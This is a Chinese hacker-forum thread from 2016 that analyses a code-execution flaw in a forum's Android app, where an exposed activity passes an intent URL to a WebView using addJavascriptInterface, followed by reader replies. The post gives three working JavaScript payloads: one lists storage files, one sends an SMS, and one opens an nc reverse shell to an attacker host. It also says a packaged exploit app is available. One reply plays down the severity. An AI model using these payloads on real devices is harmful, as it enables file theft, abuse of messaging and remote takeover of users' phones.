中国红客联盟app高危漏洞分析
本帖最后由 wuyan 于 2016-3-23 21:49 编辑===================================
红客联盟&Milw0rm有奖活动
===================================
只针对安卓版的,为什么不测ios的,第一,我不会,第二,我用不起iphone。本次只对安卓组件进行了测试,发现了蛮多漏洞的,当然利用起来相当困难,本地当然比不上远程的。
论坛app功能很简单,就是浏览,发帖回复之类的。但是由于开发者没有安全意识,导致出现命令执行,程序本地ddos等漏洞。
1.命令执行漏洞
老生常谈的问题,webview出现的问题,由于activity组件暴露,导致可以传入任意数据,插入恶意链接挂马之类的。可以直接用apktool等反编译。得到相关目录,主要看配置文件AndroidManifest.xml。发现很多组件暴露,有一个名字引起了我的注意,没错就是箭头部分。
可以看到,是允许被第三方程序调用的,跟进,看看具体的代码是怎样写的。没有任何干扰,直接可以反编译得到java代码。
代码不多,大概解释下,其中函数 initDatas的作用是初始化一些参数的值。好,那么值从哪里来getIntent().getStringExtra(“webViewUrl”)等等,没错,intent传输过来的键值对,那么意味着我们可以控制,继续跟进发现。
WebViewFragment类,骚年,我不知道你看到了PLUGIN_STR没有,当然并不是我们的重点。反正最后一路跟踪到了webview,loadUrl里面传的参数就是我们前面通过intent.getStringExtra(“webViewUrl”)得过来的。
MCWebView类里面又调用addJavascriptInterface
那么一个完美的代码执行漏洞就产生了,当然这是谷歌的问题,在安卓低于4.2版本中webview调用addJavascriptInterface()接口会造成代码执行漏洞,具体的漏洞产生原因可以百度。
受影响的系统:
安卓版本4.2以下
漏洞利用:
写一段小代码来利用吧,我们尝试的利用这个漏洞读出内存卡里面的信息。
然后我们再接着写下安卓利用程序,很简单的一个demo。
下面提供几段代码
1.列出储存卡下的文件信息
<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>
2.用10086发送一条短信
<html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
</script>
</body>
</html>
3.反弹shell
<html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
</script>
</body>
</html>
(ps:这段js代码的意思就是列出储存卡里面的文件)
首先将这写html代码保存上传到你的服务器,然后在
填入对应的链接就ok了。挂马啥的,挂网马啥的直接用msf测试吧。
总结:
安卓app漏洞(除网站接口暴露导致的web问题)利用起来本身就比较困难,还有其他几个漏洞危害也是微乎其微,就不写了。利用程序已打包,请自行下载。
解压后安装里面的apk 额,有些日子了,我本来以为懂事理的人一看就明白怎么回事了,但是事到如今我发现还是有很多盲目的人,并没有看到这个文章的精华,和问题的痛点。
这个漏洞确实存在,但Android 4.2之后修复了。但是我要解释一下这里面的一些技术和这个漏洞可能存在的威胁。
其实上面说的这个东西,叫做JsBridge,也就是webview中js和APP交互的东西,楼主也是利用了这个,所以执行了一些busybox命令。
那么什么时候会出现这个问题呢?
1.你的手机Android版本要符合这个漏洞 也就是分界点4.2.有兴趣的可以看一下Android SDK 的 JavascriptInterface注解 在android.webkit.JavascriptInterface;
2:你的上网环境不安全。如果你被DNS劫持了,那么你访问ihonker.org被转到别的地方去了,访问了有恶意JS的页面,那么会造成这些问题。如果是我都能搞定你的网络,那我为何不想办法劫包。
3:和第二点类似,就是我们的论坛真的出现了问题,被人插入了恶意JS并且能执行。我想到现在为止,还没看到,当然不排除可能会存在吧。这个确实是一个痛点,也希望真的有这种问题的时候大家及时发出来,论坛做到快速响应修复。
4:上文说到用户所有的东西都会被拿走。我先说一下,这个不太现实,Android权限管理还是相当严格的。比如我们的App并不需要访问你联系人的权限,也不需要你短信的权限。我想了半天可能需要的就是你手机设备信息、定位、相册。而且在没ROOT的手机下adb shell的权限非常低,对系统造不成威胁,当然这是正常情况,可能存在漏洞,或者外部下载东西 被root
5:如果你的手机ROOT了,我想了下,其实也还好。因为被root的时候都会提示你安装权限管理,在使用su切换adb用户的时候,权限管理明显会提示你,除非你没装这类软件。
所以我想了下,可能这个文章作为教程还是不错的,但是用来打90的脸,或者作为一个噱头说是“高危”还是有些不妥。说白了,并没有达到高危。
文章有很多精华,首先这个APK的缺陷 竟然没有混淆的代码,让楼主这么轻松就拿到了源码。这里使用的估计是apktool,
楼主在反编译的时候我看像是 dex2jar然后再用了 jd-gui。我也不太确定是不是,大半夜的就看了看图,也没找工具再详细比对。总是这些是可以做到的,楼主的分析也非常仔细,一步步的往下跟,但是这里还是要说一下,工欲善其事,必先利其器。推荐使用android studio做反编译jar分析。
好了,这里该说的也说完了。
感谢楼主的分析教程,也提醒盲目说什么打脸的,觉得非常惊悚的 朋友们 有一个清醒的头脑来分析流程。 666a啊骚年 666666不解释 打90脸啊! 小圈圈 发表于 2016-3-23 22:43
666666不解释 打90脸啊!
打的不够响啊 {:2_30:}不是有源码吗~非要反编译。。。。。 No0d1es 发表于 2016-3-23 22:35
666a啊骚年
说6又不给币 这个逼,我为你转身! 666,这个客户端还是挺可怕的http://www.ihonker.org//mobcent//app/data/phiz/default/21.png
膜拜无言牛,写的真棒 90的帅脸啊。哎哎呀呀!他会不会拉你去阴暗的地方找你聊聊呢